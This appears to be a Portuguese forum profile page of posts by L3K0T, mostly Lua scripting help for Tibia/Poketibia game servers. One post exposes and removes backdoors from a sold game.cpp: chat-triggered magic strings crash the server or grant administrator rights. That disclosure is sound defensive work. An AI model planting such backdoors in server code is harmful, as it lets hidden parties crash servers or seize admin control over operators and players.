Ir para conteúdo

L3K0T

Membro
  • Registro em

  • Última visita

Tudo que L3K0T postou

  1. bom eu não sei nessa versão se tem a opção de tirar isso, mais se tiver é na config.lua deixar em false
  2. tem esse é global mesmo https://github.com/otservme/global860 source e tudo.
  3. baixa o Putty http://www.putty.org/ insira os dados que form fornecido pela empresa e siga o tutorial do @Nicrox
  4. Windows ou Linux ?
  5. local revivePoke = ID DO REVIVE if getPlayerItemCount(cid, revivePoke) >= 1 then selfSay('......', cid) return true end
  6. tente olha novamente no RME, verifica com calma
  7. qual o erro ? tente local pokeball = {2391, 2392, 2393, 2394, 12617, 12832, ID do REVIVE} -- whit this pokeballs you CANT enter in the quest. for i = 1, #pokeball do if getPlayerItemCount(cid, pokeball) >= 1 then npcHandler:say('Coloque suas Pokeball no Cp e seus Revives', cid) return TRUE end end
  8. ja olhou em movements ?
  9. é uma Unique ID e uma ActionID num lugar só, vo explicar, la num bau tem uma uniqueid 6554, ai no mesmo bau tem uma actionid 6554 vai constar duplicado
  10. sim, pior quando você compra algo, é pq tem confiança, o mesmo começa a ficar com inveja e faz isso pra ferrar mesmo, muita mancada
  11. Olá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo. ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) Código 1 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP. Código 2 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
  12. L3K0T postou uma resposta no tópico em Suporte Tibia OTServer
    Esta é uma mensagem automática! Este tópico foi movido para a área correta. Pedimos que você leia as regras do fórum.
  13. se tiver pego s, primeiro clique n
  14. function onUse(cid, item, fromPosition, itemEx, toPosition) local pox = getPlayerPosition(cid) if isPlayer(cid) == TRUE then if (item.actionid == 5000) then if getPlayerStorageValue(cid, 10001) ~= 1 then local health = 6000 local maxhealth = 6000 local description = "Contains a Charizard." local poke1 = "This is Charizard's pokeball. HP = ["..health.."/"..maxhealth.."]" item = doCreateItemEx(2219) doItemSetAttribute(item, "poke", poke1) doItemSetAttribute(item, "nome", "Charizard") doItemSetAttribute(item, "description", description) doPlayerAddItemEx(cid, item, true) doTransformItem(item, 2222) setPlayerStorageValue(cid, 10001, 1) doPlayerSendTextMessage(cid, 27, "Você pegou um pokémon (Charizard)") else doPlayerSendTextMessage(cid, 27, "Voce ja escolheu o Pokemon!") doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) setPlayerStorageValue(cid, 10001, 0) return FALSE end end end end add um ACTIONID e não UNIQUEID no bau e use esse script, apenas mude o nome do pokemon nele mais nada! <action actionid=5000" event="script" value="pokemon1.lua"/> <action actionid="5001" event="script" value="pokemon2.lua"/> <action actionid="5002" event="script" value="pokemon3.lua"/> 5000 5001 5002 no 3 baus
  15. seria praticamente isso ? !tradepoints Nomedoplayer, quantidade e abriria o trade do outro jogador ? ao aceitar os pontos iria por trade é isso, não entendi muito bem
  16. local pokeball = {2391, 2392, 2393, 2394, 12617, 12832, ID do REVIVE} -- whit this pokeballs you CANT enter in the quest. for i = 1, #pokeball do if getPlayerItemCount(cid, pokeball) >= 1 then npcHandler:say('Coloque suas Pokeball no Cp e seus Revives', cid) return true end end
  17. L3K0T postou uma resposta no tópico em Suporte Tibia OTServer
    opa, vou analisar e testar @Micheel15 local gp = { ExecuteIntervalHours = 24, NeedPlayersOnline = 3, NeedDiferentIps = 0, MinLevel = 50, AddPointsForAcc = 3, } function getGuildPlayersValidAccIDS(GuildID,MinLevel) local RanksIDS = {} local AccsID = {} local ValidAccsID = {} Query1 = db.getResult("SELECT `id` FROM `guild_ranks` WHERE guild_id = '".. GuildID .."") if(Query1:getID() == -1) then return ValidAccsID end for i = 1, Query1:getRows() do table.insert(RanksIDS, Query1:getDataInt("id")) Query1:next() end Query2 = db.getResult("SELECT `account_id` FROM `players` WHERE `rank_id` IN (".. table.concat(RanksIDS, ', ') ..") AND `level` >= ".. MinLevel .."") if(Query2:getID() == -1) then return ValidAccsID end for i = 1, Query2:getRows() do local AccID = Query2:getDataInt("account_id") if #AccsID > 0 then for k = 1, #AccsID do if AccID == AccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(AccsID, AccID) end else table.insert(AccsID, AccID) end Query2:next() end Query3 = db.getResult("SELECT `id` FROM `accounts` WHERE `guild_points_stats` = 0 AND `id` IN (".. table.concat(AccsID, ', ') ..")") if(Query3:getID() == -1) then return ValidAccsID end for i = 1, Query3:getRows() do local AccID = Query3:getDataInt("id") if #ValidAccsID > 0 then for k = 1, #ValidAccsID do if AccID == ValidAccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(ValidAccsID, AccID) end else table.insert(ValidAccsID, AccID) end Query3:next() end return ValidAccsID end function onSay(cid, words, param, channel) if(getPlayerGuildLevel(cid) == 3) then local GuildID = getPlayerGuildId(cid) Query = db.getResult("SELECT `last_execute_points` FROM `guilds` WHERE id = '".. GuildID .."'") if(Query:getID() == -1) then return true end if Query:getDataInt("last_execute_points") < os.time() then local GuildMembers = {} local GuildMembersOnline = {} local PlayersOnline = getPlayersOnline() for i, pid in ipairs(PlayersOnline) do if getPlayerGuildId(pid) == GuildID then if getPlayerLevel(pid) >= .MinLevel then table.insert(GuildMembersOnline, pid) end end end if #GuildMembersOnline >= .NeedPlayersOnline then local IPS = {} for i, pid in ipairs(GuildMembersOnline) do local PlayerIP = getPlayerIp(pid) if #IPS > 0 then for k = 1, #IPS do if PlayerIP == IPS[k] then AddIPList = false break end AddIPList = true end if AddIPList then table.insert(IPS, PlayerIP) end else table.insert(IPS, PlayerIP) end end if #IPS >= gp.NeedDiferentIps then local ValidAccounts = getGuildPlayersValidAccIDS(GuildID, gp.MinLevel) db.query("UPDATE `guilds` SET `last_execute_points` = ".. os.time() +(gp.ExecuteIntervalHours * 3600) .." WHERE `guilds`.`id` = ".. GuildID ..";") doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "".. #ValidAccounts .." Players received points") if #ValidAccounts > 0 then db.query("UPDATE `accounts` SET `guild_points` = `guild_points` + " ..gp.AddPointsForAcc .. ", `guild_points_stats` = ".. os.time() .." WHERE `id` IN (" .. table.concat(ValidAccounts, ',') ..");") for i, pid in ipairs(GuildMembersOnline) do local PlayerMSGAccID = getPlayerAccountId(pid) for k = 1, #ValidAccounts do if PlayerMSGAccID == ValidAccounts[k] then doPlayerSendTextMessage(pid, MESSAGE_INFO_DESCR, "You received "..gp.AddPointsForAcc .." guild points.") break end end end end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only ".. #IPS .." players are valid, you need ".. gp.NeedDiferentIps .." players with different ips.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Has only ".. #GuildMembersOnline .." players online you need ".. gp.NeedPlayersOnline .." players online at least from level ".. gp.MinLevel ..".") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "The command can only be run once every "..gp.ExecuteIntervalHours .." hours.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only guild leader can request points.") end return true end
  18. L3K0T postou uma resposta no tópico em Suporte Tibia OTServer
    sim!
  19. opa se for cliente 8.54, manda ai que troco pra você! me faz um dns na no-ip um com 17 letras contando com os pontos e outro com 19 letras... aguardo!
  20. L3K0T postou uma resposta no tópico em Suporte Tibia OTServer
    local GuildPointsConfigs = { ExecuteIntervalHours = 24, NeedPlayersOnline = 3, NeedDiferentIps = 0, MinLevel = 50, AddPointsForAcc = 3 } function getGuildPlayersValidAccIDS(GuildID, MinLevel) local RanksIDS = {} local AccsID = {} local ValidAccsID = {} Query1 = db.getResult("SELECT `id` FROM `guild_ranks` WHERE guild_id = '".. GuildID .."'") if(Query1:getID() == -1) then return ValidAccsID end for i = 1, Query1:getRows() do table.insert(RanksIDS, Query1:getDataInt("id")) Query1:next() end Query2 = db.getResult("SELECT `account_id` FROM `players` WHERE `rank_id` IN (".. table.concat(RanksIDS, ', ') ..") AND `level` >= ".. MinLevel .."") if(Query2:getID() == -1) then return ValidAccsID end for i = 1, Query2:getRows() do local AccID = Query2:getDataInt("account_id") if #AccsID > 0 then for k = 1, #AccsID do if AccID == AccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(AccsID, AccID) end else table.insert(AccsID, AccID) end Query2:next() end Query3 = db.getResult("SELECT `id` FROM `accounts` WHERE `guild_points_stats` = 0 AND `id` IN (".. table.concat(AccsID, ', ') ..")") if(Query3:getID() == -1) then return ValidAccsID end for i = 1, Query3:getRows() do local AccID = Query3:getDataInt("id") if #ValidAccsID > 0 then for k = 1, #ValidAccsID do if AccID == ValidAccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(ValidAccsID, AccID) end else table.insert(ValidAccsID, AccID) end Query3:next() end return ValidAccsID end function onSay(cid, words, param, channel) if(getPlayerGuildLevel(cid) == 3) then local GuildID = getPlayerGuildId(cid) Query = db.getResult("SELECT `last_execute_points` FROM `guilds` WHERE id = '".. GuildID .."'") if(Query:getID() == -1) then return true end if Query:getDataInt("last_execute_points") < os.time() then local GuildMembers = {} local GuildMembersOnline = {} local PlayersOnline = getPlayersOnline() for i, pid in ipairs(PlayersOnline) do if getPlayerGuildId(pid) == GuildID then if getPlayerLevel(pid) >= GuildPointsConfigs.MinLevel then table.insert(GuildMembersOnline, pid) end end end if #GuildMembersOnline >= GuildPointsConfigs.NeedPlayersOnline then local IPS = {} for i, pid in ipairs(GuildMembersOnline) do local PlayerIP = getPlayerIp(pid) if #IPS > 0 then for k = 1, #IPS do if PlayerIP == IPS[k] then AddIPList = false break end AddIPList = true end if AddIPList then table.insert(IPS, PlayerIP) end else table.insert(IPS, PlayerIP) end end if #IPS >= GuildPointsConfigs.NeedDiferentIps then local ValidAccounts = getGuildPlayersValidAccIDS(GuildID, GuildPointsConfigs.MinLevel) db.query("UPDATE `guilds` SET `last_execute_points` = ".. os.time() +(GuildPointsConfigs.ExecuteIntervalHours * 3600) .." WHERE `guilds`.`id` = ".. GuildID ..";") doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "".. #ValidAccounts .." Players received points") if #ValidAccounts > 0 then db.query("UPDATE `accounts` SET `guild_points` = `guild_points` + " ..GuildPointsConfigs.AddPointsForAcc .. ", `guild_points_stats` = ".. os.time() .." WHERE `id` IN (" .. table.concat(ValidAccounts, ',') ..");") for i, pid in ipairs(GuildMembersOnline) do local PlayerMSGAccID = getPlayerAccountId(pid) for k = 1, #ValidAccounts do if PlayerMSGAccID == ValidAccounts[k] then doPlayerSendTextMessage(pid, MESSAGE_INFO_DESCR, "You received "..GuildPointsConfigs.AddPointsForAcc .." guild points.") break end end end end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only ".. #IPS .." players are valid, you need ".. GuildPointsConfigs.NeedDiferentIps .." players with different ips.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Has only ".. #GuildMembersOnline .." players online you need ".. GuildPointsConfigs.NeedPlayersOnline .." players online at least from level ".. GuildPointsConfigs.MinLevel ..".") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "The command can only be run once every "..GuildPointsConfigs.ExecuteIntervalHours .." hours.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only guild leader can request points.") end return true end
  21. function onLogin(cid) local days = 5 if getGlobalStorageValue(storage) <= 0 then setGlobalStorageValue(storage, 13500) doPlayerAddVipDays(cid, days) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Você recebeu "..days.." dias de VIP, bom jogo!") end return true end
  22. L3K0T postou uma resposta no tópico em Suporte Tibia OTServer
    tente assim #!/bin/bash while true do ./theforgottenserver sleep 2 done

Informação Importante

Confirmação de Termo